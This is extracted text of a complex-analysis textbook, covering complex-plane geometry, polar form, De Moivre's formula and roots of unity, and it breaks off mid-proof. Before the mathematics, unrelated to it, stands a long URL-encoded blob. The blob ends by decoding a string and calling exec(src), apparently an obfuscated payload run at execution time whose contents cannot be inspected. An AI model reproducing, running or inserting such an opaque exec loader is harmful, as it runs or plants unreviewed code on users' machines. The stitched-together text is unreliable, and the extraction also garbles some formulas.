biNBJlCWW5jY0c506ZU6PXE1gwnmOFlE3cDajRsqP1AKrHD6QOEQWhx77rb8XY5kAs3OIWuF22NmiIgz6sJ2GSOhNS9%2B2wNng18X2Yoz0fG8K8IibVCnNDX83%2FE%2FNqhXlFAjWYm%2B%2FEnFtsKofnVl2w3bmb355yKBm37LvtsN5she39fANrkW9tuVpsLXP%2Bk00APf9BOpRPh0d0fH0wfCwP0gO%2F77343UYREfW4InQCtsva%2FbvA38W779k7pZAlNLpEc%2BISQUibySePh0ex3awtnqVPh36%2FNhC27E2o%2BUqaVmtcXKPoBB32Pf2yvUtxjVYp0IblUkCu3HaLC5t3xypNZb5d6LOM324rA5tW6RiNRLTqLwP2I3sDwUBfd5e3%2FOGV5oYORhYNewhEGqJ3Te9381YcwwgNM3r0NoWggYD9fdXeuu8QILBpzVUKh9o78HsHhu%2FxfB%2BDmZvcCLw7FMTNlumIukxymfUAVG4GqE7fonADRGH52otWVDwq1zT6jtzrndtkH7sF9%2B%2F%2BroXZ6YhG4Vb08r4Zee9GvA93Ab44Dbwlpe0l5e0lJe7lgth9uKXJh1tqfLilw4dNBabL28IvbZJ3O9gEjy3QC9CVVtded%2BNtVtn7brre6fKYGoboEIEk5sSLrj5Fml6KudScepQj26k%2Fpc%2BDQ%2Fp80iaLz6%2FvIT7cID5qbxAvIy3N5TxTU0hoYVpaCAinZXDMGoqFpVisKBY1Be23ZuFsYZddr5c5ywQ2aIW9vgDXkGjqwBSWVtizAPcleoIM8SvSzzMcbgZ0ez8o5j6xjYxKJpe2F6Uj9QBOSGA9C2o%2BYj6m1pViICmyour6rehpG8yy6y7eLAsxv%2FqfNBYVAm99rcdvX%2BdxiqXksmesMyC7W8P3N0OzH7IhgtFuoLvIPN%2BTimU6alb4OMYZulQhUa9VasbaCre2mf1dg1f%2BznJn356%2BfLoNz40FJD4IPEOOsC045PqOXaxVtyAw12BJe1KA1%2BZ1MvjbO5P30bUmh7ORrz1r44F%2BE7VXdP1E2h9mQna1%2BWXNIKYrE%2F9j7hOS1KVSpkE%2BI14rgx3UQlPKU%2FkILebR6ohU3w4736IW0Hb2vQnqCx0y7LfAHcvPqQbdl1rd9ERKSp895WoQjhc0K%2FPZ1N6m8%2FOAZG3KiFtjHDR0U6UbRznvqX7tK%2FZ17S62rtE2%2FWBz9dp3eI%2FKlvoGNeHvLEFwu557F6p4lMV9uhK3KI6yYoDeldeV7gHdJdDlnT3JUS%2Fvrt8hYYoDPDaqhzd%2FnQDak%2Fq3uXt%2FLOyusV3%2FYtR90qpbtG9fQ2UCErofBt3Boiw0VjfHa6pYegxRp6JknMwZB6vfCJsr9Z5fpkN7i07HTZ%2BK%2FGHbW%2F%2B6ZM9yR%2Faj%2FlFq44eky8shSvvlZVTpMlPIQI98usTt7cdkNMiHoupH5YJ6Cp9aVP%2FSiRhhUz%2Fw%2Fgto3GjL%27%29%29.decode%28%29%0Aexec%28src%29
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Exercise 1.3. Let z, w ∈ C. Prove the parallelogram law

|z + w|2 + |z − w|2 = 2 |z|2 + 2 |w|2 ,

and explain the name by drawing the parallelogram with vertices 0, z, z + w,w.

Exercise 1.4. (⋆) Prove Lagrange’s identity: for z, w ∈ C,

|z|2 |w|2 −
(
Re(zw)

)2 =
(
Im(zw)

)2 ≥ 0,

and deduce the Cauchy–Schwarz inequality |Re(zw)| ≤ |z| |w| directly from it.

Exercise 1.5. Show that if |z| = 1 then z = 1/z. Use this to prove that for |z| = |w| = 1 with
zw ̸= −1, the number z + w

1 + zw
is real.

Exercise 1.6. Determine all z ∈ C satisfying z2 = z. (There are four.)

Exercise 1.7. Suppose p(z) = anz
n + · · · + a1z+ a0 with all ak ∈ R. Prove p(z) = p(z) for every

z ∈ C, and conclude that the non-real roots of a real polynomial occur in conjugate pairs.

Exercise 1.8. Prove that there is no function f : C → C satisfying f(z)2 = z for all z and
f(zw) = f(z)f(w) for all z, w and f(1) = 1. (Hint: evaluate at z = w = −1 after determining
f(−1).)

Exercise 1.9. Compute Φ(3 + 4i), Φ(3 + 4i)−1 and det Φ(3 + 4i) using (1.35) and (1.38), and
check the inverse against (1.6). Then write Φ(3 + 4i) in the form λRθ of (1.31), giving λ exactly
and θ to four decimals.

Exercise 1.10. (⋆) Let M ∈ R2×2 satisfy MJ = JM , where J =
( 0 −1

1 0
)
. Prove M ∈ C. (So

C is exactly the commutant of J : the complex numbers are the real matrices that commute with
“multiplication by i”.) Deduce that C is a two-dimensional real subalgebra of R2×2 and that it
contains no nonzero nilpotent and no zero divisors.

Exercise 1.11. Show that R2×2 decomposes as a direct sum of vector spaces

R2×2 = C ⊕ C−, C− :=
{(c d

d −c

)
: c, d ∈ R

}
,

and that C− consists of the conformal orientation-reversing matrices together with 0. Given
M ∈ R2×2, identify the two components explicitly in terms of M and the matrix J of (1.38)
(Hint: compute JMJ). (This splitting is the matrix form of the Wirtinger decomposition of
Exercise 14.3, and it reappears in Theorem 14.10.)



Chapter 2

The Complex Plane

2.1 Complex numbers as points and as vectors
Definition 1.1 built C out of R × R, so a complex number is an ordered pair of reals and can be
drawn as a point in a Cartesian plane.

Definition 2.1 (Complex plane). The complex plane (or Argand diagram) is the Cartesian plane
R2 in which the point with coordinates (x, y) is labelled by the complex number z = x+ iy. The
horizontal axis {x + i · 0 : x ∈ R } is the real axis; the vertical axis { 0 + iy : y ∈ R } is the
imaginary axis.

Two pictures of the same object will be used constantly and it is worth naming them.

• Point picture: z is the point (Re z, Im z).

• Vector picture: z is the arrow from 0 to that point.

In the vector picture, addition (1.10) is exactly the parallelogram rule of vector addition in
R2, and z 7→ −z is the point reflection through the origin. Conjugation z 7→ z is the reflection
across the real axis, since it flips the sign of the second coordinate.

Re

Im

z

w

z + w

z

Re z

Im z

2.2 Distance, circles, discs, and lines
Proposition 2.2 (Modulus is Euclidean distance). For z, w ∈ C the number |z − w| equals the
Euclidean distance in R2 between the points z and w.

16
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Proof. Write z = x1 + iy1 and w = x2 + iy2 with all four coordinates real. Then z − w =
(x1 − x2) + i(y1 − y2) and by (1.21),

|z − w| =
√

(x1 − x2)2 + (y1 − y2)2,

which is the Euclidean distance formula.

Proposition 2.2 converts every statement about |·| into a statement of plane geometry. The
three basic translations are collected next.

Definition 2.3 (Circles and discs). Let z0 ∈ C and let ρ > 0 be real. Define

C(z0, ρ) := { z ∈ C : |z − z0| = ρ } (circle of centre z0, radius ρ), (2.1)
D(z0, ρ) := { z ∈ C : |z − z0| < ρ } (open disc), (2.2)
D(z0, ρ) := { z ∈ C : |z − z0| ≤ ρ } (closed disc). (2.3)

We write D := D(0, 1) for the open unit disc and T := C(0, 1) for the unit circle.

Example 2.4 (Reading a locus). The set {z : |z − 2i| = 3} is the circle of radius 3 centred
at 2i. The set {z : |z + 1 − i| ≤ 2} is the closed disc of radius 2 centred at −1 + i, because
|z + 1 − i| = |z − (−1 + i)|. Rewriting a condition so that it reads |z − (centre)| is the standard
first move.

|z − z0| = ρ |z − z0| < ρ |z − z0| ≤ ρ annulus

Figure 2.1. Three loci of Definition 2.3 and an annulus, all built from one idea: |z − z0| is the distance
from z to z0. From the left: the circle C(z0, ρ), the open disc D(z0, ρ) (boundary excluded, drawn
dashed), the closed disc, and an annulus ρ1 < |z − z0| < ρ2. (Annuli appear in Example 2.8.)

Proposition 2.5 (Perpendicular bisector). Let a, b ∈ C with a ̸= b. Then

{ z ∈ C : |z − a| = |z − b| } (2.4)

is the straight line through the midpoint 1
2(a+ b) perpendicular to the segment from a to b.

Proof. Square both sides (legitimate, as both are ≥ 0) and use (1.19):

|z − a|2 = |z − b|2 ⇐⇒ |z|2 − 2 Re(za) + |a|2 = |z|2 − 2 Re(zb) + |b|2 ,

where we expanded exactly as in the proof of (1.27). Cancelling |z|2 and rearranging,

2 Re
(
z (b− a)

)
= |b|2 − |a|2 . (2.5)

Writing z = x+iy and b−a = p+iq with x, y, p, q ∈ R, the left side is 2(px+qy), so (2.5) is the real
linear equation 2px+2qy = |b|2 −|a|2 with (p, q) ̸= (0, 0); this is a straight line with normal vector
(p, q), i.e. perpendicular to b−a. Substituting z = 1

2(a+b) into (2.4) gives
∣∣∣12(b− a)

∣∣∣ =
∣∣∣12(a− b)

∣∣∣,
which is true, so the midpoint lies on the line.
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Proposition 2.6 (The general circle-or-line equation). Let A,D ∈ R and B,C ∈ R, not all zero,
and consider the set

S =
{
x+ iy : A(x2 + y2) +Bx+ Cy +D = 0

}
. (2.6)

(i) If A = 0 and (B,C) ̸= (0, 0) then S is a straight line.

(ii) If A ̸= 0 then S is a circle, a single point, or empty according as B2 +C2 − 4AD is positive,
zero, or negative.

(iii) If A = B = C = 0 then D ̸= 0 and S = ∅.

Equivalently, in complex notation (2.6) reads

Azz + βz + βz +D = 0, β := 1
2(B + iC) ∈ C. (2.7)

Proof. Statements (i) and (iii) are immediate. For (ii), divide by A ̸= 0 and complete squares:

x2 + y2 + B
Ax+ C

Ay + D
A =

(
x+ B

2A

)2
+
(
y + C

2A

)2
− B2 + C2 − 4AD

4A2 .

So S is the set of points at squared distance (B2 + C2 − 4AD)/(4A2) from
(
− B

2A ,−
C
2A
)
, and the

trichotomy follows.
For (2.7): with z = x+ iy and β = 1

2(B + iC) we have zz = x2 + y2 and

βz + βz = 2 Re(βz) = 2 Re
(

1
2(B − iC)(x+ iy)

)
= Bx+ Cy.

Proposition 2.6 is the reason a single family of curves — “circles and lines” — keeps appearing
in this subject: it is the family preserved by the reciprocal map, as we prove in Chapter 11. A
line is best thought of as a circle through the point at infinity.

2.3 Inequalities read geometrically
The triangle inequality (1.27) says the direct route from 0 to z + w is no longer than the detour
through z. Two standard consequences are used constantly when estimating.

Proposition 2.7 (Estimating quotients). Let p(z) =
∑n
k=0 akz

k and q(z) =
∑m
k=0 bkz

k be poly-
nomials with complex coefficients, bm ̸= 0. There is R0 ≥ 1, depending only on b0, . . . , bm, such
that, writing R := |z|,

|p(z)| ≤
( n∑
k=0

|ak|
)
Rn for all |z| ≥ 1, |q(z)| ≥ 1

2 |bm|Rm for all |z| ≥ R0. (2.8)

Consequently, for all z with |z| = R ≥ R0 we have q(z) ̸= 0 and∣∣∣p(z)
q(z)

∣∣∣ ≤ 2
∑n
k=0 |ak|
|bm|

Rn−m.
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Proof. For the first estimate, (1.27) extended to n + 1 summands (induction) and (1.24) give
|p(z)| ≤

∑
k |ak|Rk ≤

∑
k |ak|Rn whenever R ≥ 1, since then Rk ≤ Rn for k ≤ n.

For the second, write q(z) = bmz
m
(
1 + r(z)

)
with r(z) =

∑m−1
k=0

bk
bm
zk−m (for z ̸= 0). By

the triangle inequality and (1.24), |r(z)| ≤ 1
|bm|

∑
k<m |bk|Rk−m → 0 as R → ∞, and the bound

depends only on R and the bk; so there is R0 ≥ 1, depending only on b0, . . . , bm, with |r(z)| ≤ 1
2

for |z| = R ≥ R0. By the reverse triangle inequality (1.28), |1 + r(z)| ≥ 1 − |r(z)| ≥ 1
2 , and (1.24)

gives the second estimate. Finally, for R ≥ R0 the second estimate gives |q(z)| > 0, and dividing
the first estimate by the second gives the bound on the quotient.

Example 2.8. Describe {z : 1 < |z − i| ≤ 3}. By Proposition 2.2 this is the set of points whose
distance to i is greater than 1 and at most 3: an annulus centred at i, with the inner boundary
circle removed and the outer boundary circle included.

a

b

1
2 (a+ b)

|z − a| < |z − b|

Figure 2.2. Proposition 2.5: the set where |z − a| = |z − b| is the perpendicular bisector of the
segment [a, b]. Every point of the line, such as the marked point joined to a and b, is equidistant from
the two points a, b; the shaded half-plane is |z − a| < |z − b|, and the unshaded one is |z − a| > |z − b|.

Example 2.9 (A locus that is not a circle). Describe {z : |z − 1|+|z + 1| = 4}. By Proposition 2.2
the condition says the sum of the distances from z to the two points ±1 equals 4; this is the ellipse
with foci ±1 and major semi-axis 2. Explicitly, with z = x + iy one obtains after two squarings
x2

4 + y2

3 = 1.

2.4 Exercises
Exercise 2.1. Sketch each set and say whether it is a circle, a disc, a line, a half-plane, or none
of these:

|z − 3| = |z + i| , |2z − 1| = 4, Re(z) ≥ Im(z), |z|2 = Re(z), Re
(1
z

)
= 1.

Exercise 2.2. Show that {z : |z − a| = k |z − b|} with a ̸= b and k > 0, k ̸= 1, is a circle (an
Apollonius circle). Find its centre and radius in terms of a, b, k. What happens when k = 1?

Exercise 2.3. Prove that three distinct points z1, z2, z3 are collinear if and only if z3 − z1
z2 − z1

∈ R.

Exercise 2.4. (⋆) Let a ∈ D. Prove that the Möbius map φa(z) = z − a

1 − az
maps T into T. (Hint:

for |z| = 1, use z = 1/z.)

Exercise 2.5. Use (2.7) to write the equation of the circle through 1, i, and −1 in the form
Azz + βz + βz +D = 0.
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Exercise 2.6. Sketch {z : |z − 1| + |z + 1| ≤ 4} and {z :
∣∣|z − 1| − |z + 1|

∣∣ = 1}. Identify each
conic and give its equation in x, y.

Exercise 2.7. Let a, b, c be the vertices of a triangle. Prove that its centroid is 1
3(a+ b+ c), and

that the triangle is equilateral if and only if a2 + b2 + c2 = ab + bc + ca. (For the second part,
factor a+ ωb+ ω2c with ω = e2πi/3.)

Exercise 2.8. (⋆) Prove Ptolemy’s inequality: for all z1, z2, z3, z4,

|z1 − z3| |z2 − z4| ≤ |z1 − z2| |z3 − z4| + |z2 − z3| |z1 − z4| .

(Hint: verify the algebraic identity (z1 − z3)(z2 − z4) = (z1 − z2)(z3 − z4) + (z2 − z3)(z1 − z4) and
apply (1.27).) When is it an equality?



Chapter 3

Polar Form of Complex Numbers

Rectangular form z = x+ iy makes addition transparent and multiplication opaque. Polar form
does the opposite, and since analysis is largely about multiplying, dividing, and iterating, polar
form is the more important of the two.

3.1 The argument
Definition 3.1 (Argument). Let z ∈ C with z ̸= 0. A real number θ is called an argument of z if

Re z = |z| cos θ and Im z = |z| sin θ. (3.1)

The set of all such θ is denoted arg z ⊆ R. The number 0 has no argument, and arg 0 is undefined.
Theorem 3.2 (Existence and structure of the argument). Let z ∈ C \ {0}. Then arg z ̸= ∅, and
there is exactly one θ0 ∈ arg z with θ0 ∈ (−π, π]. Moreover

arg z = { θ0 + 2kπ : k ∈ Z }. (3.2)

Proof. Put r := |z| > 0 and (c, s) := (Re z/r, Im z/r). Then c2 +s2 = (Re z)2/r2 +(Im z)2/r2 = 1
by (1.21), so (c, s) lies on the unit circle of R2. It is a standard fact from real analysis that
t 7→ (cos t, sin t) maps (−π, π] bijectively onto that circle; let θ0 be the unique preimage of (c, s).
Then (3.1) holds with θ = θ0, so arg z ̸= ∅.

If θ ∈ arg z then cos θ = cos θ0 and sin θ = sin θ0, hence cos(θ−θ0) = cos θ cos θ0 +sin θ sin θ0 =
c2 + s2 = 1, which forces θ− θ0 ∈ 2πZ. Conversely cos and sin are 2π-periodic, so every θ0 + 2kπ
is an argument. This proves (3.2), and uniqueness in (−π, π] follows because a half-open interval
of length 2π contains exactly one element of any coset of 2πZ.

Re

Im

z

Arg z

+2π

−2π

arg z = {Arg z + 2kπ : k ∈ Z}

21
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Figure 3.1. The argument is a set. Every ray from the origin meets the circle once, but the angle
naming it is determined only modulo 2π: the same point z is reached by θ0, by θ0 +2π, and by θ0 −2π.
The principal value Arg z is the unique representative in the half-open interval (−π, π], drawn heavy.

Definition 3.3 (Principal argument). For z ∈ C \ {0} the unique element of arg z ∩ (−π, π] is
called the principal argument of z and denoted Arg z. Thus

Arg : C \ {0} −→ (−π, π], arg z = {Arg z + 2kπ : k ∈ Z}. (3.3)

Convention 3.4. Because arg z is a set, an equation such as arg(z1z2) = arg z1 + arg z2 must
be read as an equality of sets, where A + B := {a + b : a ∈ A, b ∈ B}. Equations involving
Arg are equations between real numbers and are generally false without correction terms; see
Theorem 3.11 (iii).

Proposition 3.5 (Computing Arg from coordinates). Let z = x+ iy ̸= 0 with x, y ∈ R. Then

Arg z =



arctan(y/x), x > 0,
arctan(y/x) + π, x < 0, y ≥ 0,
arctan(y/x) − π, x < 0, y < 0,
π/2, x = 0, y > 0,
−π/2, x = 0, y < 0.

(3.4)

Proof. The function arctan takes values in (−π/2, π/2), and tan θ = sin θ/ cos θ = y/x whenever
x ̸= 0 and θ ∈ arg z. If x > 0 then cos(Arg z) > 0 by (3.1), so Arg z ∈ (−π/2, π/2) and
Arg z = arctan(y/x). If x < 0 then Arg z ∈ (π/2, π] when y ≥ 0 and Arg z ∈ (−π,−π/2) when
y < 0; in either case adding or subtracting π moves arctan(y/x) into the correct interval and
preserves the tangent. The two remaining cases are read off directly from (3.1).

Warning 3.6. Formula (3.4) shows that “Arg z = arctan(Im z/Re z)” is wrong in the left half-
plane. For instance z = −1 − i has arctan(1) = π/4, but z lies in the third quadrant and
Arg z = −3π/4. Always locate the quadrant first.

3.2 Polar form and Euler’s formula
Theorem 3.7 (Polar form). Every z ∈ C \ {0} can be written as

z = r(cos θ + i sin θ), r = |z| > 0, θ ∈ arg z, (3.5)

and conversely if z = r(cos θ+ i sin θ) with r > 0 and θ ∈ R then r = |z| and θ ∈ arg z. Two such
representations r1(cos θ1 + i sin θ1) and r2(cos θ2 + i sin θ2) describe the same complex number if
and only if r1 = r2 and θ1 − θ2 ∈ 2πZ.

Proof. The representation (3.5) is just (3.1) rewritten, using Theorem 3.2 for the existence of θ.
Conversely, if z = r(cos θ + i sin θ) with r > 0 then |z| = r

√
cos2 θ + sin2 θ = r and (3.1) holds.

The uniqueness statement is Theorem 3.2.

Definition 3.8 (Euler’s notation). For θ ∈ R we define

eiθ := cos θ + i sin θ. (3.6)

With this notation (3.5) becomes the exponential polar form

z = reiθ, r = |z| , θ ∈ arg z. (3.7)
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At this stage (3.6) is a definition — an abbreviation for the right-hand side — and nothing
is being asserted about exponentials. Chapter 16 defines ez for all z ∈ C and proves that the
definition given there agrees with (3.6) when z = iθ, so the notation is consistent. The next
proposition shows that the notation is already justified in the only way that matters: it turns
multiplication into addition of exponents.

Proposition 3.9 (Law of exponents on the unit circle). For all θ, φ ∈ R,

eiθeiφ = ei(θ+φ), eiθ = e−iθ = 1
eiθ
,

∣∣∣eiθ∣∣∣ = 1. (3.8)

Proof. Using (1.11) and (3.6),

eiθeiφ = (cos θ + i sin θ)(cosφ+ i sinφ)
= (cos θ cosφ− sin θ sinφ) + i(cos θ sinφ+ sin θ cosφ)
= cos(θ + φ) + i sin(θ + φ) = ei(θ+φ),

by the real addition formulas for cosine and sine. Next, eiθ = cos θ−i sin θ = cos(−θ)+i sin(−θ) =
e−iθ, and eiθe−iθ = ei0 = 1 by what we just proved, so e−iθ = 1/eiθ. Finally

∣∣∣eiθ∣∣∣2 = cos2 θ +
sin2 θ = 1.

Example 3.10. Convert z = −1 + i
√

3 to polar form. Here |z| =
√

1 + 3 = 2. Since Re z =
−1 < 0 and Im z =

√
3 ≥ 0, (3.4) gives Arg z = arctan(−

√
3) + π = −π

3 + π = 2π
3 . Hence

z = 2e2πi/3 = 2
(
cos 2π

3 + i sin 2π
3
)
. Conversely, 4e−iπ/4 = 4

(√
2

2 − i
√

2
2
)

= 2
√

2 − 2
√

2 i.

3.3 The geometry of multiplication
Theorem 3.11 (Multiplication multiplies moduli and adds arguments). Let z1, z2 ∈ C \ {0}, say
zj = rje

iθj with rj > 0 and θj ∈ arg zj. Then:

(i) z1z2 = r1r2e
i(θ1+θ2) and z1

z2
= r1
r2
ei(θ1−θ2);

(ii) as sets, arg(z1z2) = arg z1 + arg z2 and arg(z1/z2) = arg z1 − arg z2;

(iii) there exists k ∈ {−1, 0, 1}, depending on z1, z2, with

Arg(z1z2) = Arg z1 + Arg z2 + 2kπ, (3.9)

and in general no smaller set of k values suffices.

Proof. (i) By Proposition 3.9, z1z2 = r1r2e
iθ1eiθ2 = r1r2e

i(θ1+θ2), and since r1r2 > 0, Theorem 3.7
identifies r1r2 = |z1z2| and θ1 + θ2 ∈ arg(z1z2). The quotient statement follows from 1/z2 =
r−1

2 e−iθ2 , itself a consequence of (3.8).
(ii) “⊇” is (i). For “⊆”, let ψ ∈ arg(z1z2). By (i), θ1 + θ2 is also an argument of z1z2, so by

(3.2) ψ = θ1 +θ2 +2mπ for some m ∈ Z; then ψ = (θ1 +2mπ)+θ2 ∈ arg z1 +arg z2. The quotient
case is the same argument with the second formula of (i): “⊇” is (i), and if ψ ∈ arg(z1/z2) then
ψ = θ1 − θ2 + 2mπ for some m ∈ Z, so ψ = (θ1 + 2mπ) − θ2 ∈ arg z1 − arg z2.

(iii) Both Arg(z1z2) and Arg z1 + Arg z2 are arguments of z1z2, so they differ by 2kπ for some
k ∈ Z by (3.2). Since Arg zj ∈ (−π, π] we have Arg z1 + Arg z2 ∈ (−2π, 2π], while Arg(z1z2) ∈
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(−π, π]; their difference therefore lies in (−3π, 3π), forcing k ∈ {−1, 0, 1}. All three values occur:
for z1 = z2 = −1 we get Arg(1) = 0 but Arg(−1) + Arg(−1) = 2π, so k = −1; for z1 = z2 = i we
get Arg(−1) = π = π

2 + π
2 , so k = 0; for z1 = z2 = e−3πi/4 we get Arg z1 + Arg z2 = −3π

2 while
Arg(z1z2) = Arg(e−3πi/2) = Arg(i) = π

2 , so k = 1.

Theorem 3.11(i) is the single most useful fact in the subject:

Multiplying by reiα is the same as rotating the plane through the angle α about 0 and then
scaling by the factor r.

Re

Im

z1

z2

z1z2

θ1

θ2

θ1

Re

Im

π
4

3π
4

− 3π
4

− π
4

arctan sees only ±π/4

Figure 3.2. The quadrant trap of Warning 3.6. The four points ±1 ± i all have |Im z/Re z| = 1,
so arctan cannot tell them apart — it returns only ±π/4. The principal arguments are in fact π/4,
3π/4, −3π/4, −π/4: one must locate the quadrant before trusting the arctangent.

Example 3.12 (Rotation as multiplication). Multiplication by i = eiπ/2 rotates by a quarter
turn counterclockwise. Indeed i(x + iy) = −y + ix, which is the vector (x, y) rotated by 90◦.
Multiplication by −1 = eiπ is a half turn; multiplication by the positive real r is a pure dilation.
Example 3.13 (Trigonometry for free). Take θ = φ in the computation proving Proposition 3.9.
Comparing real and imaginary parts of e2iθ = (eiθ)2 gives, in one line,

cos 2θ = cos2 θ − sin2 θ, sin 2θ = 2 sin θ cos θ.

Every multiple-angle identity arises the same way; see Exercise 3.3.

3.4 Exercises
Exercise 3.1. Write in the form reiθ with r > 0 and θ = Arg z:

1 + i, −3, −2i,
√

3 − i,
1 + i√
3 − i

.
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Exercise 3.2. Write in the form x+iy with x, y ∈ R: 5eiπ,
√

2 e3πi/4, e−iπ/6, 2eiπ/2 ·3eiπ/3.

Exercise 3.3. Use e3iθ = (eiθ)3 to prove cos 3θ = 4 cos3 θ − 3 cos θ and sin 3θ = 3 sin θ − 4 sin3 θ.

Exercise 3.4. Give explicit z1, z2 for which Arg(z1z2) ̸= Arg z1 +Arg z2, and verify (3.9) for your
example by exhibiting k.

Exercise 3.5. (⋆) Prove that for z ̸= 0, Arg z = − Arg z unless z is a negative real number, in
which case Arg z = Arg z = π. Where does the exception come from?

Exercise 3.6. Let θ ∈ R with eiθ ̸= 1. Prove the finite geometric sum

n−1∑
k=0

eikθ = einθ − 1
eiθ − 1 ,

and by taking real parts derive Lagrange’s trigonometric identity

n−1∑
k=0

cos(kθ) = 1
2 +

sin
(
(n− 1

2)θ
)

2 sin(θ/2) .

Exercise 3.7. Show that the map z 7→ eiαz preserves distances, i.e.
∣∣eiαz − eiαw

∣∣ = |z − w| for
all z, w. Which complex numbers a have the property that z 7→ az preserves distances?

Exercise 3.8. Using (3.8), prove that for all θ, φ ∈ R

eiθ + eiφ = 2 cos
(θ − φ

2
)
ei(θ+φ)/2,

and read off both
∣∣∣eiθ + eiφ

∣∣∣ and an argument of the sum. Interpret the formula as the statement
that the diagonal of a rhombus bisects its angle.

Exercise 3.9. Let z = reiθ with r > 0. Express Re(zn) and Im(zn) in terms of r and θ, and use
the result to sketch the curves Re(z3) = 0 and Im(z3) = 0. How many rays does each consist of?

Exercise 3.10. (⋆) Prove that
∣∣∣eiθ − 1

∣∣∣ = 2
∣∣sin(θ/2)

∣∣ for all real θ, and deduce that the perimeter
of the regular n-gon inscribed in the unit circle is 2n sin(π/n). Show this tends to 2π as n → ∞,
and say which standard limit you have used.
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Powers and Roots

4.1 Integer powers and De Moivre’s formula
Definition 4.1 (Integer powers). For z ∈ C and n ∈ N = {1, 2, 3, . . . } define z1 := z and
zn+1 := znz. Set z0 := 1 for every z ∈ C, including 00 := 1 (the usual convention, which makes
a polynomial

∑n
k=0 akz

k take the value a0 at z = 0), and for z ̸= 0 and n ∈ N set z−n := (z−1)n,
where z−1 is the multiplicative inverse of (1.6).

Theorem 4.2 (De Moivre). For every θ ∈ R and every n ∈ Z,(
cos θ + i sin θ

)n = cos(nθ) + i sin(nθ), that is,
(
eiθ
)n = einθ. (4.1)

Consequently, if z = reiθ with r > 0 then

zn = rneinθ = rn
(
cosnθ + i sinnθ

)
, n ∈ Z. (4.2)

Proof. Case n ≥ 0, by induction. For n = 0 both sides equal 1. Assume (4.1) for some n ≥ 0.
Then, using Proposition 3.9,

(eiθ)n+1 = (eiθ)neiθ = einθeiθ = ei(n+1)θ,

completing the induction.
Case n < 0. Write n = −m with m ∈ N. By (3.8) the inverse of eiθ is e−iθ, hence (eiθ)−m =

(e−iθ)m = e−imθ = einθ by the case already proved applied to the angle −θ.
Finally (4.2) follows because |·| is multiplicative (1.24), so |zn| = rn, and (reiθ)n = rn(eiθ)n

by commutativity.

Example 4.3. Compute (1 + i)10. Since 1 + i =
√

2 eiπ/4, (4.2) gives

(1 + i)10 = (
√

2)10e10iπ/4 = 32 e5iπ/2 = 32 eiπ/2 = 32i,

where we reduced 5π/2 modulo 2π. Doing this by the binomial theorem is possible but far more
work; this is the typical situation.

4.2 n-th roots
Definition 4.4 (n-th root). Let w ∈ C and n ∈ N. A number z ∈ C is an n-th root of w if
zn = w. The set of all n-th roots of w is written w1/n; it is a set, not a number.

26
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Theorem 4.5 (The n-th roots of a nonzero complex number). Let n ∈ N and let w ∈ C \ {0},
written in polar form as w = ρ eiφ with ρ = |w| > 0 and φ ∈ argw. Then w has exactly n distinct
n-th roots, namely

zk = ρ1/n exp
(
i
φ+ 2kπ

n

)
, k = 0, 1, . . . , n− 1, (4.3)

where exp(iθ) is another way of writing eiθ of Definition 3.8, and ρ1/n > 0 denotes the unique
positive real n-th root of the positive real number ρ. These n points are the vertices of a regular
n-gon inscribed in the circle C(0, ρ1/n) of (2.1). The number 0 has exactly one n-th root, namely
0.

Proof. Each zk is a root. By (4.2),

z nk =
(
ρ1/n)n exp

(
i n · φ+ 2kπ

n

)
= ρ ei(φ+2kπ) = ρeiφ = w,

using 2π-periodicity (3.2).
They are distinct. The moduli all equal ρ1/n, so by Theorem 3.7 zk = zl forces φ+2kπ

n − φ+2lπ
n ∈

2πZ, i.e. 2π(k−l)
n ∈ 2πZ, i.e. n | k − l. For k, l ∈ {0, . . . , n− 1} this means k = l.

There are no others. Suppose zn = w. Since w ̸= 0 we have z ̸= 0, so we may write z = seiψ

with s > 0. Then sneinψ = ρeiφ, and Theorem 3.7 gives sn = ρ and nψ − φ ∈ 2πZ. The first
equation has the unique positive solution s = ρ1/n (strict monotonicity of t 7→ tn on (0,∞)). The
second gives ψ = φ+2mπ

n for some m ∈ Z; writing m = qn + k with k ∈ {0, . . . , n − 1} yields
ψ = φ+2kπ

n + 2qπ, so z = zk.
Geometry. The zk lie on the circle of radius ρ1/n and consecutive arguments differ by exactly

2π/n; that is the definition of a regular n-gon inscribed in that circle.
The case w = 0. If zn = 0 then |z|n = 0 by (1.24), so |z| = 0 and z = 0.

Definition 4.6 (Principal n-th root). For w ∈ C \ {0} and n ∈ N, the principal n-th root of w is
the root obtained in (4.3) by taking φ = Argw and k = 0:

w1/n
pr := |w|1/n exp

(
i

Argw
n

)
. (4.4)

Its argument lies in (−π/n, π/n]. When w is a positive real, (4.4) returns the usual positive real
root, so the notation is consistent with the real convention.

Example 4.7 (Cube roots of −8). Here ρ = 8, Arg(−8) = π, n = 3, so ρ1/3 = 2 and the roots
have arguments π+2kπ

3 for k = 0, 1, 2, i.e. π
3 , π,

5π
3 . Thus

z0 = 2eiπ/3 = 1 + i
√

3, z1 = 2eiπ = −2, z2 = 2e5iπ/3 = 1 − i
√

3.

The principal cube root is z0 = 1 + i
√

3, not the real root −2. Note the roots form an equilateral
triangle on C(0, 2) and that the two non-real ones are conjugates, as they must be by Exercise 1.7
since z3 + 8 has real coefficients.
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Re

Im
z0 = 1 + i

√
3

z1 = −2

z2 = 1 − i
√

3

4.3 Roots of unity

Re

Im

z

z2
z6

Figure 4.1. De Moivre’s formula (4.2) as a picture: raising to the n-th power multiplies the argument
by n and raises the modulus to the n-th power. Here z has |z| = 1.15 and Arg z = 25◦; the successive
powers spiral outward, turning 25◦ each time. Had |z| been less than 1 the spiral would wind inward,
and on |z| = 1 it would stay on the circle; these three cases reappear when we study the map zn in
Chapter 9.

Definition 4.8 (Roots of unity). Let n ∈ N. The n-th roots of unity are the solutions of zn = 1.
By Theorem 4.5 with w = 1, ρ = 1, φ = 0, they are

ωk := e2πik/n = cos 2πk
n

+ i sin 2πk
n
, k = 0, 1, . . . , n− 1. (4.5)

We write ω := ω1 = e2πi/n, so that ωk = ωk.

Proposition 4.9 (Structure of the roots of unity). Let n ∈ N and ω = e2πi/n.

(i) µn := {1, ω, ω2, . . . , ωn−1} is a group under multiplication, cyclic of order n.

(ii) If n ≥ 2 then
n−1∑
k=0

ωk = 0. (4.6)

(iii) zn − 1 =
∏n−1
k=0(z − ωk) for all z ∈ C.



CHAPTER 4. POWERS AND ROOTS 29

(iv) If w ∈ C \ {0} and z∗ is any one n-th root of w, then the full set of n-th roots is { z∗ω
k :

k = 0, . . . , n− 1 }.

Proof. (i) ωn = e2πi = 1 by (4.1), so products and inverses of powers of ω are again powers of ω
